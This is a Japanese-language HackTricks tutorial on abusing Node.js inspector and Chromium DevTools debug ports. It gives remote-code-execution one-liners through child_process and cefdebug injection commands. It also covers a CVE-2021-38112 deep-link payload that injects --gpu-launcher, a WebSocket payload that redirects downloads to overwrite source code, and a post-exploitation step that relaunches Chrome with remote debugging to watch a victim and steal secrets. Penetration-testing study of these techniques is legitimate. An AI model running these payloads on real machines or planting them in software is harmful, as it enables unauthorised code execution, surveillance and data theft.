Node inspector/CEF debug abuse

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

ドキュメントから: --inspectスイッチで起動すると、Node.jsプロセスはデバッグクライアントを待機します。デフォルトでは、ホストとポート**127.0.0.1:9229で待機します。各プロセスには一意のUUID**も割り当てられます。

Inspectorクライアントは、接続するためにホストアドレス、ポート、およびUUIDを知って指定する必要があります。完全なURLはws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55eのようになります。

デバッガーはNode.js実行環境への完全なアクセス権を持っているため、このポートに接続できる悪意のあるアクターは、Node.jsプロセスの代わりに任意のコードを実行できる可能性があります(潜在的な特権昇格)。

Inspectorを開始する方法はいくつかあります:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

以下のようなものが表示されると、検査されたプロセスが開始されます:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

プロセスは、CEF (Chromium Embedded Framework) ベースのものは、デバッガを開くためにパラメータ --remote-debugging-port=9222 を使用する必要があります(SSRF保護は非常に似ています)。ただし、これらは NodeJS debug セッションを許可する代わりに、ブラウザと通信するために Chrome DevTools Protocol を使用します。これはブラウザを制御するためのインターフェースですが、直接的な RCE はありません。

デバッグされたブラウザを起動すると、次のようなものが表示されます:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

ブラウザ、WebSockets、および同一オリジンポリシー

WebサイトがWebブラウザで開かれると、ブラウザセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。固有のデバッガーセッションIDを取得するためには、最初にHTTP接続が必要です。同一オリジンポリシーは、WebサイトがこのHTTP接続を行うことを防ぎます。DNS再バインディング攻撃に対する追加のセキュリティ対策として、Node.jsは接続のための'Host'ヘッダーIPアドレスまたは**localhostまたはlocalhost6**を正確に指定していることを検証します。

このセキュリティ対策により、インスペクターを悪用してコードを実行することが防がれます(これはSSRF脆弱性を悪用して行うことができる)。

実行中プロセスでのインスペクターの開始

実行中のnodejsプロセスにシグナルSIGUSR1を送信して、デフォルトポートでインスペクターを開始させることができます。ただし、十分な権限が必要なので、これによりプロセス内の情報に特権アクセスが付与される可能性がありますが、直接的な特権昇格は行われません。

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

コンテナ内でこれは便利です。--inspectでプロセスをシャットダウンして新しいプロセスを起動することは選択肢ではないため、コンテナはプロセスとともに終了されます。

インスペクター/デバッガーに接続

Chromiumベースのブラウザに接続するには、Chromeの場合はchrome://inspectまたはEdgeの場合はedge://inspectのURLにアクセスできます。構成ボタンをクリックして、ターゲットホストとポートが正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています:

コマンドラインを使用して、デバッガー/インスペクターに接続できます:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

ツールhttps://github.com/taviso/cefdebugを使用すると、ローカルで実行中のインスペクタ見つけてその中にコードを注入することができます。

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

NodeJS RCE exploitsは、ブラウザをChrome DevTools Protocol経由で接続している場合には機能しないことに注意してください(興味深いことを見つけるためにAPIをチェックする必要があります)。

NodeJSデバッガー/インスペクターでのRCE

もしElectronのXSSからRCEを取得する方法を探してここに来た場合は、このページをご確認ください。

Node inspector接続できる場合にRCEを取得する一般的な方法のいくつかは、次のようなものを使用することです(Chrome DevToolsプロトコルへの接続では機能しないようです):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools Protocol Payloads

APIはこちらで確認できます: https://chromedevtools.github.io/devtools-protocol/ このセクションでは、このプロトコルを悪用するために人々が使用してきた興味深い事柄をリストアップします。

ディープリンクを介したパラメーターインジェクション

CVE-2021-38112では、Rhino Securityが、CEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、そのURIを受け取り、そのURIから部分的に構築された構成でCEFベースのアプリケーションを起動していたことを発見しました。

URIパラメーターがURLデコードされ、CEFベースのアプリケーションを起動するために使用されていることが発見され、ユーザーがコマンドラインに--gpu-launcherフラグをインジェクトして任意の操作を実行できるようになっていました。

したがって、次のようなペイロード:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

ファイルの上書き

ダウンロードされたファイルが保存されるフォルダを変更し、悪意のあるコードアプリケーションのソースコードを頻繁に使用されるように上書きするファイルをダウンロードします。

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCE と情報の流出

この投稿によると: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148、theriver から RCE を取得し、内部ページを流出させることが可能です。

ポストエクスプロイテーション

実際の環境において、ユーザーの PC を侵害した後、Chrome/Chromium ベースのブラウザを使用している場合、Chrome プロセスをデバッグを有効にして起動し、デバッグポートをポートフォワードしてアクセスできるようにすることができます。これにより、被害者が Chrome で行うすべての操作を検査し、機密情報を盗むことができます。

ステルスな方法は、すべての Chrome プロセスを終了させ、次のようなものを呼び出すことです:

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated